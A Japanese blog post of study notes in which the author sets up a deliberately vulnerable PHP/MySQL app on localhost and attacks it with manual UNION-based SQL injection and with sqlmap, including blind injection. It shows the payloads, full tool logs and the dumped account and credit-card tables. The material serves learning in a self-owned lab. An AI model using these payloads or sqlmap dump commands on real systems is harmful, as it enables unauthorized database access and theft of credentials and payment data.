脆弱性のお勉強:SQLインジェクション攻撃

SQLインジェクションの勉強をしていたら、初めて聞く手法があったので備忘録とする。 SQLインジェクションと一口に言っても、よく聞く通常の「SQLインジェクション」と「ブラインドSQLインジェクション」という2つのインジェクションがあるらしい。特にブラインドSQLインジェクションはbooleanしか返さない状況でも情報漏洩するというから大変興味深い。

環境構築

何はともあれ、攻撃するためには脆弱なWebアプリが必要となるので、勉強がてらPHPを使ってみた。 Docker化はまだしてないけど、以下の手順で環境をセットアップする。

IntelliJ IDEA上でPHPのセットアップ

qiita.com

MySQLをインストール

$ brew install mysql@5.7

MySQLサーバー起動

$ brew services start mysql@5.7

MySQL初期設定

$ cd /usr/local/Cellar/mysql@5.7/5.7.22/bin/
$ ./mysql_secure_installation

Securing the MySQL server deployment.

Connecting to MySQL using a blank password.

VALIDATE PASSWORD PLUGIN can be used to test passwords
and improve security. It checks the strength of password
and allows the users to set only those passwords which are
secure enough. Would you like to setup VALIDATE PASSWORD plugin?

Press y|Y for Yes, any other key for No: y

There are three levels of password validation policy:

LOW    Length >= 8
MEDIUM Length >= 8, numeric, mixed case, and special characters
STRONG Length >= 8, numeric, mixed case, special characters and dictionary                  file

Please enter 0 = LOW, 1 = MEDIUM and 2 = STRONG: 0
Please set the password for root here.

New password: password

Re-enter new password: password

Estimated strength of the password: 50 
Do you wish to continue with the password provided?(Press y|Y for Yes, any other key for No) : y
By default, a MySQL installation has an anonymous user,
allowing anyone to log into MySQL without having to have
a user account created for them. This is intended only for
testing, and to make the installation go a bit smoother.
You should remove them before moving into a production
environment.

Remove anonymous users? (Press y|Y for Yes, any other key for No) : n

 ... skipping.


Normally, root should only be allowed to connect from
'localhost'. This ensures that someone cannot guess at
the root password from the network.

Disallow root login remotely? (Press y|Y for Yes, any other key for No) : n

 ... skipping.
By default, MySQL comes with a database named 'test' that
anyone can access. This is also intended only for testing,
and should be removed before moving into a production
environment.


Remove test database and access to it? (Press y|Y for Yes, any other key for No) : n

 ... skipping.
Reloading the privilege tables will ensure that all changes
made so far will take effect immediately.

Reload privilege tables now? (Press y|Y for Yes, any other key for No) : y
Success.

All done!

接続確認

$ ./mysql -uroot -p
Enter password: password
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 10
Server version: 8.0.11 Homebrew

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
4 rows in set (0.01 sec)

脆弱アプリのクローン&実行

github.com

SQLインジェクション

アプリケーションが想定しないSQL文を実行させることにより、データベースシステムを不正に操作する攻撃方法のこと。

SQL インジェクション攻撃は、ウェブアプリケーションの一般的な設計上の欠陥を悪用して行われ、サイバー攻撃の容易かつ効果的な手法であり続けています。 SQL インジェクションは今やハッカーがウェブサイトの侵害に使用する主な攻撃ベクトルであり、組織にとっての深刻なデータベースセキュリティの問題となっています。 シリア電子軍のようなハクティビストのグループは、自動化された SQL インジェクション攻撃ツールを使用してオンライン資産に対する破壊および潜入行為を行い、マルウェアを拡散することで知られています。 SQL インジェクション攻撃 | アカマイ

手動によるSQLインジェクション

脆弱Webアプリを使って、SQLインジェクションによる情報漏洩を実践してみる。 簡素だがアカウントの検索画面を用意してみたので、以下のURLにアクセスする。

http://localhost:8080/sqlinjection/q1.php

f:id:kyonta1022:20180618002943p:plain

登録されたユーザ名・パスワードと一致した場合にアカウント情報を表示している。 今回はゲスト用にguest/guestを用意している。

f:id:kyonta1022:20180618003216p:plain

まずはじめに、アカウント検索画面にSQLインジェクション脆弱性があるかを確認してみる。ここで大事なのは、どのようなSQLが組み立てられるのかをある程度推測してみること。今回はWHERE name = 'xxx' and password = 'yyy'のような SQLが 組み立てられるのではないかと推測。早速、ユーザ名のところに' or 'a' = 'a' #というような形式で、全てのデータが取得できるような文字列を入力してみる。 検索の結果を見ると、入力した文字列がSQLの一部として解釈されているので、脆弱性があることがわかる。

f:id:kyonta1022:20180618233755p:plain

脆弱性があることがわかったので、データベースにはどんなテーブルが存在しているのか取得してみる。 今回の脆弱アプリでは、accountcredit_cardという個人情報を含んでいそうなテーブルが存在している。

' or 'a'='a' UNION SELECT table_name,2 FROM information_schema.tables #

f:id:kyonta1022:20180618004151p:plain

accountテーブルは、検索結果としてほぼ出てしまってるので、credit_cardテーブルのデータを確認するために、どのようなカラムが存在しているかを取得してみる。結果を見てみると、name card_numberというカラムを持っていることがわかる。

' UNION SELECT COLUMN_NAME, 2 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'credit_card' #

f:id:kyonta1022:20180618004550p:plain

持っているカラム名までわかったので、最後にカード番号を取得してくる。 脆弱アプリから情報が漏洩したことがわかる。

' UNION SELECT name, card_number FROM credit_card #

f:id:kyonta1022:20180618004754p:plain

sqlmapによるSQLインジェクション

上の流れで、一個一個手入力でSQLを入力して情報を取得していったが、sqlmapというSQLインジェクション用のツールが存在しているため、 次はsqlmapを使ったSQLインジェクションを実践してみる。sqlmapを使うためには、burpsuiteなどを使いやりとりされているパラメータを予め調べておく必要がある。ここで一つ気をつけたいのは、パラメータにセットする値は適当な値ではなく、検索にヒットする値を設定するべき。

$ sqlmap -u "http://localhost:8080/sqlinjection/q1.php" --data "name=guest&password=guest" 

実行するとパラメータに脆弱性(POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N])があることがわかる。

        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.2.6#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 00:49:42

[00:49:42] [INFO] testing connection to the target URL
[00:49:42] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[00:49:42] [INFO] testing if the target URL content is stable
[00:49:43] [INFO] target URL content is stable
[00:49:43] [INFO] testing if POST parameter 'name' is dynamic
[00:49:43] [WARNING] POST parameter 'name' does not appear to be dynamic
[00:49:43] [WARNING] heuristic (basic) test shows that POST parameter 'name' might not be injectable
[00:49:43] [INFO] testing for SQL injection on POST parameter 'name'
[00:49:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:49:43] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[00:49:43] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:49:43] [INFO] POST parameter 'name' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[00:49:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:49:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:49:50] [INFO] target URL appears to be UNION injectable with 2 columns
[00:49:50] [INFO] POST parameter 'name' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[00:49:52] [INFO] testing if POST parameter 'password' is dynamic
[00:49:52] [WARNING] POST parameter 'password' does not appear to be dynamic
[00:49:52] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[00:49:52] [INFO] testing for SQL injection on POST parameter 'password'
[00:49:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:49:53] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:49:53] [INFO] POST parameter 'password' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[00:49:53] [INFO] checking if the injection point on POST parameter 'password' is a false positive
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 91 HTTP(s) requests:
---
Parameter: password (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest&password=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x436846747974624b55587375796e637377564d7472584a75514a57695a544e535066757544547752,0x716a6a6a71),NULL-- beby

Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 5387 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(5387=5387,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Dywc'='Dywc&password=guest

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x4d514255457873684156676246484244495571597173466d584d4c455973505a70737a5249657871,0x716a6a6a71),NULL-- oUBY&password=guest
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: name, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[00:49:58] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[00:49:58] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 00:49:58

脆弱性があることがわかったので、データベースの一覧を取得する。

$ sqlmap -u "http://localhost:8080/sqlinjection/q1.php" --data "name=guest&password=guest" --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.2.6#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 00:53:51

[00:53:51] [INFO] resuming back-end DBMS 'mysql' 
[00:53:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest&password=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x436846747974624b55587375796e637377564d7472584a75514a57695a544e535066757544547752,0x716a6a6a71),NULL-- beby

Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 5387 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(5387=5387,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Dywc'='Dywc&password=guest

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x4d514255457873684156676246484244495571597173466d584d4c455973505a70737a5249657871,0x716a6a6a71),NULL-- oUBY&password=guest
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: name, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[00:53:53] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[00:53:53] [INFO] fetching database names
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sql_injection
[*] sys

[00:53:53] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 00:53:53

今度はテーブルの一覧を取得してみる。お目当のcredit_cardテーブルはsql_injectionデータベースにあるため、データベースを指定して実行する。 account credit_cardと該当するテーブルが2つあることがわかる。

$ sqlmap -u "http://localhost:8080/sqlinjection/q1.php" --data "name=guest&password=guest" -D sql_injection --tables
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.2.6#stable}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 00:55:39

[00:55:40] [INFO] resuming back-end DBMS 'mysql' 
[00:55:40] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest&password=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x436846747974624b55587375796e637377564d7472584a75514a57695a544e535066757544547752,0x716a6a6a71),NULL-- beby

Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 5387 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(5387=5387,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Dywc'='Dywc&password=guest

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x4d514255457873684156676246484244495571597173466d584d4c455973505a70737a5249657871,0x716a6a6a71),NULL-- oUBY&password=guest
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: name, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[00:55:41] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[00:55:41] [INFO] fetching tables for database: 'sql_injection'
Database: sql_injection
[2 tables]
+-------------+
| account     |
| credit_card |
+-------------+

[00:55:41] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 00:55:41

最後に、これらのテーブルからデータをダンプしてみる。今回はテーブル指定のオプションを抜いているが、-T credit_cardなどで、 テーブル名を指定することも可能。実行すると、先ほどと同じようにデータが漏洩することが確認できた。

$ sqlmap -u "http://localhost:8080/sqlinjection/q1.php" --data "name=guest&password=guest" -D sql_injection --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.6#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 00:57:03

[00:57:04] [INFO] resuming back-end DBMS 'mysql' 
[00:57:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest&password=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x436846747974624b55587375796e637377564d7472584a75514a57695a544e535066757544547752,0x716a6a6a71),NULL-- beby

Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 5387 FROM(SELECT COUNT(*),CONCAT(0x71717a7a71,(SELECT (ELT(5387=5387,1))),0x716a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Dywc'='Dywc&password=guest

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: name=guest' UNION ALL SELECT CONCAT(0x71717a7a71,0x4d514255457873684156676246484244495571597173466d584d4c455973505a70737a5249657871,0x716a6a6a71),NULL-- oUBY&password=guest
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: name, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[00:57:05] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[00:57:05] [INFO] fetching tables for database: 'sql_injection'
[00:57:05] [INFO] fetching columns for table 'account' in database 'sql_injection'
[00:57:05] [INFO] fetching entries for table 'account' in database 'sql_injection'
Database: sql_injection
Table: account
[2 entries]
+-------+-----------+
| name  | password  |
+-------+-----------+
| admin | admin001# |
| guest | guest     |
+-------+-----------+

[00:57:05] [INFO] table 'sql_injection.account' dumped to CSV file '/Users/akiyamakiyoto/.sqlmap/output/localhost/dump/sql_injection/account.csv'

[00:57:05] [INFO] fetching columns for table 'credit_card' in database 'sql_injection'
[00:57:05] [INFO] fetching entries for table 'credit_card' in database 'sql_injection'
Database: sql_injection
Table: credit_card
[1 entry]
+-------+----------------+
| name  | card_number    |
+-------+----------------+
| admin | 1111-2222-3333 |
+-------+----------------+

[00:57:05] [INFO] table 'sql_injection.credit_card' dumped to CSV file '/Users/akiyamakiyoto/.sqlmap/output/localhost/dump/sql_injection/credit_card.csv'
[00:57:05] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 00:57:05

sqlmapによるブラインドSQLインジェクション

ブラインドSQLインジェクションという言葉を初めて聞いたので調べてみると、以下のような状況で使えるSQLインジェクションらしい。

ブラインドSQLインジェクション攻撃は、SQLインジェクション攻撃の一種である。ブラインドSQLインジェクション攻撃は、SQLインジェクション脆弱性はあるが、SQLの検索結果が表示されない場合に用いる。ブラインドSQLインジェクション攻撃によってえられる情報は1ビットしかないので、まとまった情報を得るには、何回も攻撃する必要がある「ブラインドSQLインジェクションとは何ですか?」への回答 - 徳丸浩のtumblr


脆弱Webアプリを使って、ブラインドSQLインジェクションによる情報漏洩を実践してみるが、結果としてbooleanを返すだけの画面から情報を取得するためには、テーブル名の一文字目の値は「a-z」のどれか、二文字目の値は「a-z」の・・・・というように、1bitの答えを何回も繰り返して問い合わせることによって、情報を取得する手法のため、sqlmapを使って機械的に実行する。

http://localhost:8080/sqlinjection/q2.php

脆弱アプリで用意した画面では、アカウントの存在確認だけが可能となっている。試しにユーザ名を入力して見ると、存在するユーザと存在しないユーザで表示が切り替わるだけである。

アカウントがある場合: f:id:kyonta1022:20180618010206p:plain

アカウントがない場合: f:id:kyonta1022:20180618010216p:plain

やっぱり画面だけを見ると情報漏洩のさせようがなさそうだが、ブラインドSQLインジェクションを使うと漏洩させることができる。 脆弱性があることは既にわかっている前提で、sqlmapを使ってやってみる(ユーザのホーム配下にある/Users/user.name/.sqlmap/outputを削除しておく) まずはデータベース一覧の取得からやってみると、「yes/no」しか返さないページだったがどのようなデータベースがあるか返ってきている。

$ sqlmap -u "http://localhost:8080/sqlinjection/q2.php" --data "name=guest" --dbs
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.2.6#stable}
|_ -| . ["]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:04:01

[01:04:01] [INFO] testing connection to the target URL
[01:04:01] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[01:04:01] [INFO] testing if the target URL content is stable
[01:04:02] [INFO] target URL content is stable
[01:04:02] [INFO] testing if POST parameter 'name' is dynamic
[01:04:02] [WARNING] POST parameter 'name' does not appear to be dynamic
[01:04:02] [WARNING] heuristic (basic) test shows that POST parameter 'name' might not be injectable
[01:04:02] [INFO] testing for SQL injection on POST parameter 'name'
[01:04:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:04:02] [WARNING] reflective value(s) found and filtering out
[01:04:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[01:04:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:04:02] [INFO] POST parameter 'name' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[01:04:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:04:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:04:06] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[01:04:08] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 8779 FROM(SELECT COUNT(*),CONCAT(0x71786a7871,(SELECT (ELT(8779=8779,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'RStB'='RStB
---
[01:04:09] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[01:04:09] [INFO] fetching database names
[01:04:09] [INFO] used SQL query returns 6 entries
[01:04:09] [INFO] retrieved: information_schema
[01:04:09] [INFO] retrieved: mysql
[01:04:09] [INFO] retrieved: performance_schema
[01:04:09] [INFO] retrieved: sql_injection
[01:04:09] [INFO] retrieved: sql_injection2
[01:04:09] [INFO] retrieved: sys
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sql_injection
[*] sys

[01:04:09] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 01:04:09

テーブル一覧を取得してみる。先程と同じようにaccountcredit_cardテーブルが取得できる。

$ sqlmap -u "http://localhost:8080/sqlinjection/q2.php" --data "name=guest" -D sql_injection --tables
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.2.6#stable}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:05:38

[01:05:38] [INFO] resuming back-end DBMS 'mysql' 
[01:05:38] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 8779 FROM(SELECT COUNT(*),CONCAT(0x71786a7871,(SELECT (ELT(8779=8779,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'RStB'='RStB
---
[01:05:38] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[01:05:38] [INFO] fetching tables for database: 'sql_injection'
[01:05:38] [INFO] used SQL query returns 3 entries
[01:05:38] [INFO] retrieved: account
[01:05:38] [INFO] retrieved: credit_card
[01:05:38] [INFO] retrieved: flag
Database: sql_injection
[2 tables]
+-------------+
| account     |
| credit_card |
+-------------+

[01:05:38] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 01:05:38

最後にデータの取得もしてみると、データの取得も同じようにできてしまった(credit_cardテーブルからの取得値は若干おかしいが、できてはいる)

$ sqlmap -u "http://localhost:8080/sqlinjection/q2.php" --data "name=guest" -D sql_injection --dump
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.2.6#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:06:37

[01:06:37] [INFO] resuming back-end DBMS 'mysql' 
[01:06:37] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: name=guest' AND (SELECT 8779 FROM(SELECT COUNT(*),CONCAT(0x71786a7871,(SELECT (ELT(8779=8779,1))),0x7162716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'RStB'='RStB
---
[01:06:37] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.0.27
back-end DBMS: MySQL >= 5.0
[01:06:37] [INFO] fetching tables for database: 'sql_injection'
[01:06:37] [INFO] used SQL query returns 3 entries
[01:06:37] [INFO] resumed: account
[01:06:37] [INFO] resumed: credit_card
[01:06:37] [INFO] resumed: flag
[01:06:37] [INFO] fetching columns for table 'account' in database 'sql_injection'
[01:06:37] [INFO] used SQL query returns 2 entries
[01:06:37] [INFO] retrieved: name
[01:06:37] [INFO] retrieved: varchar(50)
[01:06:37] [INFO] retrieved: password
[01:06:37] [INFO] retrieved: varchar(50)
[01:06:37] [INFO] fetching entries for table 'account' in database 'sql_injection'
[01:06:37] [INFO] used SQL query returns 2 entries
[01:06:37] [INFO] retrieved: admin
[01:06:37] [INFO] retrieved: admin001#
[01:06:37] [INFO] retrieved: guest
[01:06:37] [INFO] retrieved: guest
Database: sql_injection
Table: account
[2 entries]
+-------+-----------+
| name  | password  |
+-------+-----------+
| admin | admin001# |
| guest | guest     |
+-------+-----------+

[01:06:37] [INFO] table 'sql_injection.account' dumped to CSV file '/Users/akiyamakiyoto/.sqlmap/output/localhost/dump/sql_injection/account.csv'
[01:06:37] [INFO] fetching columns for table 'credit_card' in database 'sql_injection'
[01:06:37] [INFO] used SQL query returns 2 entries
[01:06:37] [INFO] retrieved: name
[01:06:37] [INFO] retrieved: varchar(50)
[01:06:37] [INFO] retrieved: card_number
[01:06:37] [INFO] retrieved: varchar(50)
[01:06:37] [INFO] fetching entries for table 'credit_card' in database 'sql_injection'
[01:06:37] [INFO] used SQL query returns 1 entries
[01:06:37] [INFO] retrieved: 1111-2222-3333
[01:06:37] [INFO] retrieved: admin
Database: sql_injection
Table: credit_card
[2 entries]
+----------------+----------------+
| name           | card_number    |
+----------------+----------------+
| 1111-2222-3333 | 1111-2222-3333 |
| admin          | admin          |
+----------------+----------------+

[01:06:37] [INFO] table 'sql_injection.credit_card' dumped to CSV file '/Users/akiyamakiyoto/.sqlmap/output/localhost/dump/sql_injection/credit_card.csv'
[01:06:37] [INFO] fetched data logged to text files under '/Users/akiyamakiyoto/.sqlmap/output/localhost'

[*] shutting down at 01:06:37